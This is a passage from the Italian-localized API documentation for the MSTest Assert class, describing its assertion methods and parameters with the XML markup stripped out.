ones on the same test. - - - - - Inizializza una nuova istanza della classe . - Applica la categoria al test. Le stringhe restituite da TestCategories - vengono usate con il comando /category per filtrare i test - - - - - Ottiene la categoria di test applicata al test. - - - - - Classe AssertFailedException. Usata per indicare un errore per un test case - - - - - Inizializza una nuova istanza della classe . - - Messaggio. - Eccezione. - - - - Inizializza una nuova istanza della classe . - - Messaggio. - - - - Inizializza una nuova istanza della classe . - - - - - Raccolta di classi helper per testare diverse condizioni - negli unit test. Se la condizione da testare non viene soddisfatta, - viene generata un'eccezione. - - - - - Ottiene l'istanza singleton della funzionalità Assert. - - - Users can use this to plug-in custom assertions through C# extension methods. - For instance, the signature of a custom assertion provider could be "public static void IsOfType<T>(this Assert assert, object obj)" - Users could then use a syntax similar to the default assertions which in this case is "Assert.That.IsOfType<Dog>(animal);" - More documentation is at "https://github.com/Microsoft/testfx-docs". - - - - - Verifica se la condizione specificata è true e genera un'eccezione - se è false. - - - Condizione che il test presuppone sia true. - - - Thrown if is false. - - - - - Verifica se la condizione specificata è true e genera un'eccezione - se è false. - - - Condizione che il test presuppone sia true. - - - Messaggio da includere nell'eccezione quando - è false. Il messaggio viene visualizzato nei risultati del test. - - - Thrown if is false. - - - - - Verifica se la condizione specificata è true e genera un'eccezione - se è false. - - - Condizione che il test presuppone sia true. - - - Messaggio da includere nell'eccezione quando - è false. Il messaggio viene visualizzato nei risultati del test. - - - Matrice di parametri da usare quando si formatta . - - - Thrown if is false. - - - - - Verifica se la condizione specificata è false e genera un'eccezione - se è true. - - - Condizione che il test presuppone sia false. - - - Thrown if is true. - - - - - Verifica se la condizione specificata è false e genera un'eccezione - se è true. - - - Condizione che il test presuppone sia false. - - - Messaggio da includere nell'eccezione quando - è true. Il messaggio viene visualizzato nei risultati del test. - - - Thrown if is true. - - - - - Verifica se la condizione specificata è false e genera un'eccezione - se è true. - - - Condizione che il test presuppone sia false. - - - Messaggio da includere nell'eccezione quando - è true. Il messaggio viene visualizzato nei risultati del test. - - - Matrice di parametri da usare quando si formatta . - - - Thrown if is true. - - - - - Verifica se l'oggetto specificato è Null e genera un'eccezione - se non lo è. - - - Oggetto che il test presuppone sia Null. - - - Thrown if is not null. - - - - - Verifica se l'oggetto specificato è Null e genera un'eccezione - se non lo è. - - - Oggetto che il test presuppone sia Null. - - - Messaggio da includere nell'eccezione quando - non è Null. Il messaggio viene visualizzato nei risultati del test. - - - Thrown if is not null. - - - - - Verifica se l'oggetto specificato è Null e genera un'eccezione - se non lo è. - - - Oggetto che il test presuppone sia Null. - - - Messaggio da includere nell'eccezione quando - non è Null. Il messaggio viene visualizzato nei risultati del test. - - - Matrice di parametri da usare quando si formatta . - - - Thrown if is not null. - - - - - Verifica se l'oggetto specificato non è Null e genera un'eccezione - se non lo è. - - - Oggetto che il test presuppone non sia Null. - - - Thrown if is null. - - - - - Verifica se l'oggetto specificato non è Null e genera un'eccezione - se non lo è. - - - Oggetto che il test presuppone non sia Null. - - - Messaggio da includere nell'eccezione quando - è Null. Il messaggio viene visualizzato nei risultati del test. - - - Thrown if is null. - - - - - Verifica se l'oggetto specificato non è Null e genera un'eccezione - se non lo è. - - - Oggetto che il test presuppone non sia Null. - - - Messaggio da includere nell'eccezione quando - è Null. Il messaggio viene visualizzato nei risultati del test. - - - Matrice di parametri da usare quando si formatta . - - - Thrown if is null. - - - - - Verifica se gli oggetti specificati si riferiscono entrambi allo stesso oggetto e - genera un'eccezione se i due input non si riferiscono allo stesso oggetto. - - - Primo oggetto da confrontare. Questo è il valore previsto dal test. - - - Secondo oggetto da confrontare. Si tratta del valore prodotto dal codice sottoposto a test. - - - Thrown if does not refer to the same object - as . - - - - - Verifica se gli oggetti specificati si riferiscono entrambi allo stesso oggetto e - genera un'eccezione se i due input non si riferiscono allo stesso oggetto. - - - Primo oggetto da confrontare. Questo è il valore previsto dal test. - - - Secondo oggetto da confrontare. Si tratta del valore prodotto dal codice sottoposto a test. - - - Messaggio da includere nell'eccezione quando - è diverso da . Il messaggio viene - visualizzato nei risultati del test. - - - Thrown if does not refer to the same object - as . - - - - - Verifica se gli oggetti specificati si riferiscono entrambi allo stesso oggetto e - genera un'eccezione se i due input non si riferiscono allo stesso oggetto. - - - Primo oggetto da confrontare. Questo è il valore previsto dal test. - - - Secondo oggetto da confrontare. Si tratta del valore prodotto dal codice sottoposto a test. - - - Messaggio da includere nell'eccezione quando - è diverso da . Il messaggio viene - visualizzato nei risultati del test. - - - Matrice di parametri da usare quando si formatta . - - - Thrown if does not refer to the same object - as . - - - - - Verifica se gli oggetti specificati si riferiscono a oggetti diversi e - genera un'eccezione se i due input si riferiscono allo stesso oggetto. - - - Primo oggetto da confrontare. Questo è il valore che il test presuppone - non corrisponda a . - - - Secondo oggetto da confrontare. Si tratta del valore prodotto dal codice sottoposto a test. - - - Thrown if refers to the same object - as . - - - - - Verifica se gli oggetti specificati si riferiscono a oggetti diversi e - genera un'eccezione se i due input si riferiscono allo stesso oggetto. - - - Primo oggetto da confrontare. Questo è il valore che il test presuppone - non corrisponda a . - - - Secondo oggetto da confrontare. Si tratta del valore prodotto dal codice sottoposto a test. - - - Messaggio da includere nell'eccezione quando - è uguale a . Il messaggio viene visualizzato - nei risultati del test. - - - Thrown if refers to the same object - as . - - - - - Verifica se gli oggetti specificati si riferiscono a oggetti diversi e - genera un'eccezione se i due input si riferiscono allo stesso oggetto. - - - Primo oggetto da confrontare. Questo è il valore che il test presuppone - non corrisponda a . - - - Secondo oggetto da confrontare. Si tratta del valore prodotto dal codice sottoposto a test. - - - Messaggio da includere nell'eccezione quando - è uguale a . Il messaggio viene visualizzato - nei risultati del test. - - - Matrice di parametri da usare quando si formatta . - - - Thrown if refers to the same object - as . - - - - - Verifica se i valori specificati sono uguali e genera un'eccezione - se sono diversi. I tipi numerici diversi vengono considerati - diversi anche se i valori logici sono uguali. 42L è diverso da 42. - - - The type of values to compare. - - - Primo valore da confrontare. Questo è il valore previsto dai test. - - - Secondo valore da confrontare. Si tratta del valore prodotto dal codice sottoposto a test. - - - Thrown if is not equal to . - - - - - Verifica se i valori specificati sono uguali e genera un'eccezione - se sono diversi. I tipi numerici diversi vengono considerati - diversi anche se i valori logici sono uguali. 42L è diverso da 42. - - - The type of values to compare. - - - Primo valore da confrontare. Questo è il valore previsto dai test. - - - Secondo valore da confrontare. Si tratta del valore prodotto dal codice sottoposto a test. - - - Messaggio da includere nell'eccezione quando - è diverso da . Il messaggio viene visualizzato - nei risultati del test. - - - Thrown if is not equal to - . - - - - - Verifica se i valori specificati sono uguali e genera un'eccezione - se sono diversi. I tipi numerici diversi vengono considerati - diversi anche se i valori logici sono uguali. 42L è diverso da 42. - - - The type of values to compare. - - - Primo valore da confrontare. Questo è il valore previsto dai test. - - - Secondo valore da confrontare. Si tratta del valore prodotto dal codice sottoposto a test. - - - Messaggio da includere nell'eccezione quando - è diverso da . Il messaggio viene visualizzato - nei risultati del test. - - - Matrice di parametri da usare quando si formatta . - - - Thrown if is not equal to - . - - - - - Verifica se i valori specificati sono diversi e genera un'eccezione - se sono uguali. I tipi numerici diversi vengono considerati - diversi anche se i valori logici sono uguali. 42L è diverso da 42. - - - The type of values to compare. - - - Primo valore da confrontare. Questo è il valore che il test presuppone - non corrisponda a . - - - Secondo valore da confrontare. Si tratta del valore prodotto dal codice sottoposto a test. - - - Thrown if is equal to . - - - - - Verifica se i valori specificati sono diversi e genera un'eccezione - se sono uguali. I tipi numerici diversi vengono considerati - diversi anche se i valori logici sono uguali. 42L è diverso da 42. - - - The type of values to compare. - - - Primo valore da confrontare. Questo è il valore che il test presuppone - non corrisponda a . - - - Secondo valore da confrontare. Si tratta del valore prodotto dal codice sottoposto a test. - - - Messaggio da includere nell'eccezione quando - è uguale a . Il messaggio viene visualizzato - nei risultati del test. - - - Thrown if is equal to . - - - - - Verifica se i valori specificati sono diversi e genera un'eccezione - se sono uguali. I tipi numerici diversi vengono considerati - diversi anche se i valori logici sono uguali. 42L è diverso da 42. - - - The type of values to compare. - - - Primo valore da confrontare. Questo è il valore che il test presuppone - non corrisponda a . - - - Secondo valore da confrontare. Si tratta del valore prodotto dal codice sottoposto a test. - - - Messaggio da includere nell'eccezione quando - è uguale a . Il messaggio viene visualizzato - nei risultati del test. - - - Matrice di parametri da usare quando si formatta . - - - Thrown if is equal to . - - - - - Verifica se gli oggetti specificati sono uguali e genera un'eccezione - se sono diversi. I tipi numerici diversi vengono considerati - diversi anche se i valori logici sono uguali. 42L è diverso da 42. - - - Primo oggetto da confrontare. Questo è l'oggetto previsto dai test. - - - Secondo oggetto da confrontare. Si tratta dell'oggetto prodotto dal codice sottoposto a test. - - - Thrown if is not equal to - . - - - - - Verifica se gli oggetti specificati sono uguali e genera un'eccezione - se sono diversi. I tipi numerici diversi vengono considerati - diversi anche se i valori logici sono uguali. 42L è diverso da 42. - - - Primo oggetto da confrontare. Questo è l'oggetto previsto dai test. - - - Secondo oggetto da confrontare. Si tratta dell'oggetto prodotto dal codice sottoposto a test. - - - Messaggio da includere nell'eccezione quando - è diverso da . Il messaggio viene visualizzato - nei risultati del test. - - - Thrown if is not equal to - . - - - - - Verifica se gli oggetti specificati sono uguali e genera un'eccezione - se sono diversi. I tipi numerici diversi vengono considerati - diversi anche se i valori logici sono uguali. 42L è diverso da 42. - - - Primo oggetto da confrontare. Questo è l'oggetto previsto dai test. - - - Secondo oggetto da confrontare. Si tratta dell'oggetto prodotto dal codice sottoposto a test. - - - Messaggio da includere nell'eccezione quando - è diverso da . Il messaggio viene visualizzato - nei risultati del test. - - - Matrice di parametri da usare quando si formatta . - - - Thrown if is not equal to - . - - - - - Verifica se gli oggetti specificati sono diversi e genera un'eccezione - se sono uguali. I tipi numerici diversi vengono considerati - diversi anche se i valori logici sono uguali. 42L è diverso da 42. - - - Primo oggetto da confrontare. Questo è il valore che il test presuppone - non corrisponda a . - - - Secondo oggetto da confrontare. Si tratta dell'oggetto prodotto dal codice sottoposto a test. - - - Thrown if is equal to . - - - - - Verifica se gli oggetti specificati sono diversi e genera un'eccezione - se sono uguali. I tipi numerici diversi vengono considerati - diversi anche se i valori logici sono uguali. 42L è diverso da 42. - - - Primo oggetto da confrontare. Questo è il valore che il test presuppone - non corrisponda a . - - - Secondo oggetto da confrontare. Si tratta dell'oggetto prodotto dal codice sottoposto a test. - - - Messaggio da includere nell'eccezione quando - è uguale a . Il messaggio viene visualizzato - nei risultati del test. - - - Thrown if is equal to . - - - - - Verifica se gli oggetti specificati sono diversi e genera un'eccezione - se sono uguali. I tipi numerici diversi vengono considerati - diversi anche se i valori logici sono uguali. 42L è diverso da 42. - - - Primo oggetto da confrontare. Questo è il valore che il test presuppone - non corrisponda a . - - - Secondo oggetto da confrontare. Si tratta dell'oggetto prodotto dal codice sottoposto a test. - - - Messaggio da includere nell'eccezione quando - è uguale a . Il messaggio viene visualizzato - nei risultati del test. - - - Matrice di parametri da usare quando si formatta . - - - Thrown if is equal to . - - - - - Verifica se i valori float specificati sono uguali e genera un'eccezione - se sono diversi. - - - Primo valore float da confrontare. Questo è il valore float previsto dai test. - - - Secondo valore float da confrontare. Si tratta del valore float prodotto dal codice sottoposto a test. - - - Accuratezza richiesta. Verrà generata un'eccezione solo se - differisce da - di più di . - - - Thrown if is not equal to - . - - - - - Verifica se i valori float specificati sono uguali e genera un'eccezione - se sono diversi. - - - Primo valore float da confrontare. Questo è il valore float previsto dai test. - - - Secondo valore float da confrontare. Si tratta del valore float prodotto dal codice sottoposto a test. - - - Accuratezza richiesta. Verrà generata un'eccezione solo se - differisce da - di più di . - - - Messaggio da includere nell'eccezione quando - differisce da di più di - . Il messaggio viene visualizzato nei risultati del test. - - - Thrown if is not equal to - . - - - - - Verifica se i valori float specificati sono uguali e genera un'eccezione - se sono diversi. - - - Primo valore float da confrontare. Questo è il valore float previsto dai test. - - - Secondo valore float da confrontare. Si tratta del valore float prodotto dal codice sottoposto a test. - - - Accuratezza richiesta. Verrà generata un'eccezione solo se - differisce da - di più di . - - - Messaggio da includere nell'eccezione quando - differisce da di più di - . Il messaggio viene visualizzato nei risultati del test. - - - Matrice di parametri da usare quando si formatta . - - - Thrown if is not equal to - . - - - - - Verifica se i valori float specificati sono diversi e genera un'eccezione - se sono uguali. - - - Primo valore float da confrontare. Questo è il valore float che il test presuppone - non corrisponda a . - - - Secondo valore float da confrontare. Si tratta del valore float prodotto dal codice sottoposto a test. - - - Accuratezza richiesta. Verrà generata un'eccezione solo se - differisce da - al massimo di . - - - Thrown if is equal to . - - - - - Verifica se i valori float specificati sono diversi e genera un'eccezione - se sono uguali. - - - Primo valore float da confrontare. Questo è il valore float che il test presuppone - non corrisponda a . - - - Secondo valore float da confrontare. Si tratta del valore float prodotto dal codice sottoposto a test. - - - Accuratezza richiesta. Verrà generata un'eccezione solo se - differisce da - al massimo di . - - - Messaggio da includere nell'eccezione quando - è uguale a o differisce di meno di - . Il messaggio viene visualizzato nei risultati del test. - - - Thrown if is equal to . - - - - - Verifica se i valori float specificati sono diversi e genera un'eccezione - se sono uguali. - - - Primo valore float da confrontare. Questo è il valore float che il test presuppone - non corrisponda a . - - - Secondo valore float da confrontare. Si tratta del valore float prodotto dal codice sottoposto a test. - - - Accuratezza richiesta. Verrà generata un'eccezione solo se - differisce da - al massimo di . - - - Messaggio da includere nell'eccezione quando - è uguale a o differisce di meno di - . Il messaggio viene visualizzato nei risultati del test. - - - Matrice di parametri da usare quando si formatta . - - - Thrown if is equal to . - - - - - Verifica se i valori double specificati sono uguali e genera un'eccezione - se sono diversi. - - - Primo valore double da confrontare. Questo è il valore double previsto dai test. - - - Secondo valore double da confrontare. Si tratta del valore double prodotto dal codice sottoposto a test. - - - Accuratezza richiesta. Verrà generata un'eccezione solo se - differisce da - di più di . - - - Thrown if is not equal to - . - - - - - Verifica se i valori double specificati sono uguali e genera un'eccezione - se sono diversi. - - - Primo valore double da confrontare. Questo è il valore double previsto dai test. - - - Secondo valore double da confrontare. Si tratta del valore double prodotto dal codice sottoposto a test. - - - Accuratezza richiesta. Verrà generata un'eccezione solo se - differisce da - di più di . - - - Messaggio da includere nell'eccezione quando - differisce da di più di - . Il messaggio viene visualizzato nei risultati del test. - - - Thrown if is not equal to . - - - - - Verifica se i valori double specificati sono uguali e genera un'eccezione - se sono diversi. - - - Primo valore double da confrontare. Questo è il valore double previsto dai test. - - - Secondo valore double da confrontare. Si tratta del valore double prodotto dal codice sottoposto a test. - - - Accuratezza richiesta. Verrà generata un'eccezione solo se - differisce da - di più di . - - - Messaggio da includere nell'eccezione quando - differisce da di più di - . Il messaggio viene visualizzato nei risultati del test. - - - Matrice di parametri da usare quando si formatta . - - - Thrown if is not equal to . - - - - - Verifica se i valori double specificati sono diversi e genera un'eccezione - se sono uguali. - - - Primo valore double da confrontare. Questo è il valore double che il test presuppone - non corrisponda a . - - - Secondo valore double da confrontare. Si tratta del valore double prodotto dal codice sottoposto a test. - - - Accuratezza richiesta. Verrà generata un'eccezione solo se - differisce da - al massimo di . - - - Thrown if is equal to . - - - - - Verifica se i valori double specificati sono diversi e genera un'eccezione - se sono uguali. - - - Primo valore double da confrontare. Questo è il valore double che il test presuppone - non corrisponda a . - - - Secondo valore double da confrontare. Si tratta del valore double prodotto dal codice sottoposto a test. - - - Accuratezza richiesta. Verrà generata un'eccezione solo se - differisce da - al massimo di . - - - Messaggio da includere nell'eccezione quando - è uguale a o differisce di meno di - . Il messaggio viene visualizzato nei risultati del test. - - - Thrown if is equal to . - - - - - Verifica se i valori double specificati sono diversi e genera un'eccezione - se sono uguali. - - - Primo valore double da confrontare. Questo è il valore double che il test presuppone - non corrisponda a . - - - Secondo valore double da confrontare. Si tratta del valore double prodotto dal codice sottoposto a test. - - - Accuratezza richiesta. Verrà generata un'eccezione solo se - differisce da - al massimo di . - - - Messaggio da includere nell'eccezione quando - è uguale a o differisce di meno di - . Il messaggio viene visualizzato nei risultati del test. - - - Matrice di parametri da usare quando si formatta . - - - Thrown if is equal to . - - - - - Verifica se le stringhe specificate sono uguali e genera un'eccezione - se sono diverse. Per il confronto vengono usate le impostazioni cultura inglese non dipendenti da paese/area geografica. - - - Prima stringa da confrontare. Questa è la stringa prevista dai test. - - - Seconda stringa da confrontare. Si tratta della stringa prodotta dal codice sottoposto a test. - - - Valore booleano che indica un confronto con o senza distinzione tra maiuscole e minuscole. True - indica un confronto senza distinzione tra maiuscole e minuscole. - - - Thrown if is not equal to . - - - - - Verifica se le stringhe specificate sono uguali e genera un'eccezione - se sono diverse. Per il confronto vengono usate le impostazioni cultura inglese non dipendenti da paese/area geografica. - - - Prima stringa da confrontare. Questa è la stringa prevista dai test. - - - Seconda stringa da confrontare. Si tratta della stringa prodotta dal codice sottoposto a test. - - - Valore booleano che indica un confronto con o senza distinzione tra maiuscole e minuscole. True - indica un confronto senza distinzione tra maiuscole e minuscole. - - - Messaggio da includere nell'eccezione quando - è diverso da . Il messaggio viene visualizzato - nei risultati del test. - - - Thrown if is not equal to . - - - - - Verifica se le stringhe specificate sono uguali e genera un'eccezione - se sono diverse. Per il confronto vengono usate le impostazioni cultura inglese non dipendenti da paese/area geografica. - - - Prima stringa da confrontare. Questa è la stringa prevista dai test. - - - Seconda stringa da confrontare. Si tratta della stringa prodotta dal codice sottoposto a test. - - - Valore booleano che indica un confronto con o senza distinzione tra maiuscole e minuscole. True - indica un confronto senza distinzione tra maiuscole e minuscole. - - - Messaggio da includere nell'eccezione quando - è diverso da . Il messaggio viene visualizzato - nei risultati del test. - - - Matrice di parametri da usare quando si formatta . - - - Thrown if is not equal to . - - - - - Verifica se le stringhe specificate sono uguali e genera un'eccezione - se sono diverse. - - - Prima stringa da confrontare. Questa è la stringa prevista dai test. - - - Seconda stringa da confrontare. Si tratta della stringa prodotta dal codice sottoposto a test. - - - Valore booleano che indica un confronto con o senza distinzione tra maiuscole e minuscole. True - indica un confronto senza distinzione tra maiuscole e minuscole. - - - Oggetto CultureInfo che fornisce informazioni sul confronto specifiche delle impostazioni cultura. - - - Thrown if is not equal to . - - - - - Verifica se le stringhe specificate sono uguali e genera un'eccezione - se sono diverse. - - - Prima stringa da confrontare. Questa è la stringa prevista dai test. - - - Seconda stringa da confrontare. Si tratta della stringa prodotta dal codice sottoposto a test. - - - Valore booleano che indica un confronto con o senza distinzione tra maiuscole e minuscole. True - indica un confronto senza distinzione tra maiuscole e minuscole. - - - Oggetto CultureInfo che fornisce informazioni sul confronto specifiche delle impostazioni cultura. - - - Messaggio da includere nell'eccezione quando - è diverso da . Il messaggio viene visualizzato - nei risultati del test. - - - Thrown if is not equal to . - - - - - Verifica se le stringhe specificate sono uguali e genera un'eccezione - se sono diverse. - - - Prima stringa da confrontare. Questa è la stringa prevista dai test. - - - Seconda stringa da confrontare. Si tratta della stringa prodotta dal codice sottoposto a test. - - - Valore booleano che indica un confronto con o senza distinzione tra maiuscole e minuscole. True - indica un confronto senza distinzione tra maiuscole e minuscole. - - - Oggetto CultureInfo che fornisce informazioni sul confronto specifiche delle impostazioni cultura. - - - Messaggio da includere nell'eccezione quando - è diverso da . Il messaggio viene visualizzato - nei risultati del test. - - - Matrice di parametri da usare quando si formatta . - - - Thrown if is not equal to . - - - - - Verifica se le stringhe specificate sono diverse e genera un'eccezione - se sono uguali. Per il confronto vengono usate le impostazioni cultura inglese non dipendenti da paese/area geografica. - - - Prima stringa da confrontare. Questa è la stringa che il test presuppone - non corrisponda a . - - - Seconda stringa da confrontare. Si tratta della stringa prodotta dal codice sottoposto a test. - - - Valore booleano che indica un confronto con o senza distinzione tra maiuscole e minuscole. True - indica un confronto senza distinzione tra maiuscole e minuscole. - - - Thrown if is equal to . - - - - - Verifica se le stringhe specificate sono diverse e genera un'eccezione - se sono uguali. Per il confronto vengono usate le impostazioni cultura inglese non dipendenti da paese/area geografica. - - - Prima stringa da confrontare. Questa è la stringa che il test presuppone - non corrisponda a . - - - Seconda stringa da confrontare. Si tratta della stringa prodotta dal codice sottoposto a test. - - - Valore booleano che indica un confronto con o senza distinzione tra maiuscole e minuscole. True - indica un confronto senza distinzione tra maiuscole e minuscole. - - - Messaggio da includere nell'eccezione quando - è uguale a . Il messaggio viene visualizzato - nei risultati del test. - - - Thrown if is equal to . - - - - - Verifica se le stringhe specificate sono diverse e genera un'eccezione - se sono uguali. Per il confronto vengono usate le impostazioni cultura inglese non dipendenti da paese/area geografica. - - - Prima stringa da confrontare. Questa è la stringa che il test presuppone - non corrisponda a . - - - Seconda stringa da confrontare. Si tratta della stringa prodotta dal codice sottoposto a test. - - - Valore booleano che indica un confronto con o senza distinzione tra maiuscole e minuscole. True - indica un confronto senza distinzione tra maiuscole e minuscole. - - - Messaggio da includere nell'eccezione quando - è uguale a . Il messaggio viene visualizzato - nei risultati del test. - - - Matrice di parametri da usare quando si formatta . - - - Thrown if is equal to . - - - - - Verifica se le stringhe specificate sono diverse e genera un'eccezione - se sono uguali. - - - Prima stringa da confrontare. Questa è la stringa che il test presuppone - non corrisponda a . - - - Seconda stringa da confrontare. Si tratta della stringa prodotta dal codice sottoposto a test. - - - Valore booleano che indica un confronto con o senza distinzione tra maiuscole e minuscole. True - indica un confronto senza distinzione tra maiuscole e minuscole. - - - Oggetto CultureInfo che fornisce informazioni sul confronto specifiche delle impostazioni cultura. - - - Thrown if is equal to . - - - - - Verifica se le stringhe specificate sono diverse e genera un'eccezione - se sono uguali. - - - Prima stringa da confrontare. Questa è la stringa che il test presuppone - non corrisponda a . - - - Seconda stringa da confrontare. Si tratta della stringa prodotta dal codice sottoposto a test. - - - Valore booleano che indica un confronto con o senza distinzione tra maiuscole e minuscole. True - indica un confronto senza distinzione tra maiuscole e minuscole. - - - Oggetto CultureInfo che fornisce informazioni sul confronto specifiche delle impostazioni cultura. - - - Messaggio da includere nell'eccezione quando - è uguale a . Il messaggio viene visualizzato - nei risultati del test. - - - Thrown if is equal to . - - - - - Verifica se le stringhe specificate sono diverse e genera un'eccezione - se sono uguali. - - - Prima stringa da confrontare. Questa è la stringa che il test presuppone - non corrisponda a . - - - Seconda stringa da confrontare. Si tratta della stringa prodotta dal codice sottoposto a test. - - - Valore booleano che indica un confronto con o senza distinzione tra maiuscole e minuscole. True - indica un confronto senza distinzione tra maiuscole e minuscole. - - - Oggetto CultureInfo che fornisce informazioni sul confronto specifiche delle impostazioni cultura. - - - Messaggio da includere nell'eccezione quando - è uguale a . Il messaggio viene visualizzato - nei risultati del test. - - - Matrice di parametri da usare quando si formatta . - - - Thrown if is equal to . - - - - - Verifica se l'oggetto specificato è un'istanza del tipo previsto - e genera un'eccezione se il tipo previsto non è incluso nella - gerarchia di ereditarietà dell'oggetto. - - - Oggetto che il test presuppone sia del tipo specificato. - - - Tipo previsto di . - - - Thrown if is null or - is not in the inheritance hierarchy - of . - - - - - Verifica se l'oggetto specificato è un'istanza del tipo previsto - e genera un'eccezione se il tipo previsto non è incluso nella - gerarchia di ereditarietà dell'oggetto. - - - Oggetto che il test presuppone sia del tipo specificato. - - - Tipo previsto di . - - - Messaggio da includere nell'eccezione quando - non è un'istanza di . Il messaggio viene - visualizzato nei risultati del test. - - - Thrown if is null or - is not in the inheritance hierarchy - of . - - - - - Verifica se l'oggetto specificato è un'istanza del tipo previsto - e genera un'eccezione se il tipo previsto non è incluso nella - gerarchia di ereditarietà dell'oggetto. - - - Oggetto che il test presuppone sia del tipo specificato. - - - Tipo previsto di . - - - Messaggio da includere nell'eccezione quando - non è un'istanza di . Il messaggio viene - visualizzato nei risultati del test. - - - Matrice di parametri da usare quando si formatta . - - - Thrown if is null or - is not in the inheritance hierarchy - of . - - - - - Verifica se l'oggetto specificato non è un'istanza del tipo errato - e genera un'eccezione se il tipo specificato è incluso nella - gerarchia di ereditarietà dell'oggetto. - - - Oggetto che il test presuppone non sia del tipo specificato. - - - Tipo che non dovrebbe essere. - - - Thrown if is not null and - is in the inheritance hierarchy - of . - - - - - Verifica se l'oggetto specificato non è un'istanza del tipo errato - e genera un'eccezione se il tipo specificato è incluso nella - gerarchia di ereditarietà dell'oggetto. - - - Oggetto che il test presuppone non sia del tipo specificato. - - - Tipo che non dovrebbe essere. - - - Messaggio da includere nell'eccezione quando - è un'istanza di . Il messaggio viene - visualizzato nei risultati del test. - - - Thrown if is not null and - is in the inheritance hierarchy - of . - - - - - Verifica se l'oggetto specificato non è un'istanza del tipo errato - e genera un'eccezione se il tipo specificato è incluso nella - gerarchia di ereditarietà dell'oggetto. - - - Oggetto che il test presuppone non sia del tipo specificato. - - - Tipo che non dovrebbe essere. - - - Messaggio da includere nell'eccezione quando - è un'istanza di . Il messaggio viene - visualizzato nei risultati del test. - - - Matrice di parametri da usare quando si formatta . - - - Thrown if is not null and - is in the inheritance hierarchy - of . - - - - - Genera un'eccezione AssertFailedException. - - - Always thrown. - - - - - Genera un'eccezione AssertFailedException. - - - Messaggio da includere nell'eccezione. Il messaggio viene - visualizzato nei risultati del test. - - - Always thrown. - - - - - Genera un'eccezione AssertFailedException. - - - Messaggio da includere nell'eccezione. Il messaggio viene - visualizzato nei risultati del test. - - - Matrice di parametri da usare quando si formatta . - - - Always thrown. - - - - - Genera un'eccezione AssertInconclusiveException. - - - Always thrown. - - - - - Genera un'eccezione AssertInconclusiveException. - - - Messaggio da includere nell'eccezione. Il messaggio viene - visualizzato nei risultati del test. - - - Always thrown. - - - - - Genera un'eccezione AssertInconclusiveException. - - - Messaggio da includere nell'eccezione. Il messaggio viene - visualizzato nei risultati del test. - - - Matrice di parametri da usare quando si formatta . - - - Always thrown. - - - - - Gli overload di uguaglianza statici vengono usati per confrontare istanze di due tipi e stabilire se - i riferimenti sono uguali. Questo metodo non deve essere usato per il confronto di uguaglianza tra due - istanze. Questo oggetto verrà sempre generato con Assert.Fail. Usare - Assert.AreEqual e gli overload associati negli unit test. - - Oggetto A - Oggetto B - Sempre false. - - - - Verifica se il codice specificato dal delegato genera l'esatta eccezione specificata di tipo (e non di tipo derivato) - e genera l'eccezione - - AssertFailedException - - se il codice non genera l'eccezione oppure genera un'eccezione di tipo diverso da . - - - Delegato per il codice da testare e che dovrebbe generare l'eccezione. - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - Tipo di eccezione che dovrebbe essere generata. - - - - - Verifica se il codice specificato dal delegato genera l'esatta eccezione specificata di tipo (e non di tipo derivato) - e genera l'eccezione - - AssertFailedException - - se il codice non genera l'eccezione oppure genera un'eccezione di tipo diverso da . - - - Delegato per il codice da testare e che dovrebbe generare l'eccezione. - - - Messaggio da includere nell'eccezione quando - non genera l'eccezione di tipo . - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - Tipo di eccezione che dovrebbe essere generata. - - - - - Verifica se il codice specificato dal delegato genera l'esatta eccezione specificata di tipo (e non di tipo derivato) - e genera l'eccezione - - AssertFailedException - - se il codice non genera l'eccezione oppure genera un'eccezione di tipo diverso da . - - - Delegato per il codice da testare e che dovrebbe generare l'eccezione. - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - Tipo di eccezione che dovrebbe essere generata. - - - - - Verifica se il codice specificato dal delegato genera l'esatta eccezione specificata di tipo (e non di tipo derivato) - e genera l'eccezione - - AssertFailedException - - se il codice non genera l'eccezione oppure genera un'eccezione di tipo diverso da . - - - Delegato per il codice da testare e che dovrebbe generare l'eccezione. - - - Messaggio da includere nell'eccezione quando - non genera l'eccezione di tipo . - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - Tipo di eccezione che dovrebbe essere generata. - - - - - Verifica se il codice specificato dal delegato genera l'esatta eccezione specificata di tipo (e non di tipo derivato) - e genera l'eccezione - - AssertFailedException - - se il codice non genera l'eccezione oppure genera un'eccezione di tipo diverso da . - - - Delegato per il codice da testare e che dovrebbe generare l'eccezione. - - - Messaggio da includere nell'eccezione quando - non genera l'eccezione di tipo . - - - Matrice di parametri da usare quando si formatta . - - - Type of exception expected to be thrown. - - - Thrown if does not throw exception of type . - - - Tipo di eccezione che dovrebbe essere generata. - - - - - Verifica se il codice specificato dal delegato genera l'esatta eccezione specificata di tipo (e non di tipo derivato) - e genera l'eccezione - - AssertFailedException - - se il codice non genera l'eccezione oppure genera un'eccezione di tipo diverso da . - - - Delegato per il codice da testare e che dovrebbe generare l'eccezione. - - - Messaggio da includere nell'eccezione quando - non genera l'eccezione di tipo . - - - Matrice di parametri da usare quando si formatta . - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - Tipo di eccezione che dovrebbe essere generata. - - - - - Verifica se il codice specificato dal delegato genera l'esatta eccezione specificata di tipo (e non di tipo derivato) - e genera l'eccezione - - AssertFailedException - - se il codice non genera l'eccezione oppure genera un'eccezione di tipo diverso da . - - - Delegato per il codice da testare e che dovrebbe generare l'eccezione. - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - che esegue il delegato. - - - - - Verifica se il codice specificato dal delegato genera l'esatta eccezione specificata di tipo (e non di tipo derivato) - e genera l'eccezione AssertFailedException se il codice non genera l'eccezione oppure genera un'eccezione di tipo diverso da . - - Delegato per il codice da testare e che dovrebbe generare l'eccezione. - - Messaggio da includere nell'eccezione quando - non genera l'eccezione di tipo . - - Type of exception expected to be thrown. - - Thrown if does not throws exception of type . - - - che esegue il delegato. - - - - - Verifica se il codice specificato dal delegato genera l'esatta eccezione specificata di tipo (e non di tipo derivato) - e genera l'eccezione AssertFailedException se il codice non genera l'eccezione oppure genera un'eccezione di tipo diverso da . - - Delegato per il codice da testare e che dovrebbe generare l'eccezione. - - Messaggio da includere nell'eccezione quando - non genera l'eccezione di tipo . - - - Matrice di parametri da usare quando si formatta . - - Type of exception expected to be thrown. - - Thrown if does not throws exception of type . - - - che esegue il delegato. - - - - - Sostituisce caratteri Null ('\0') con "\\0". - - - 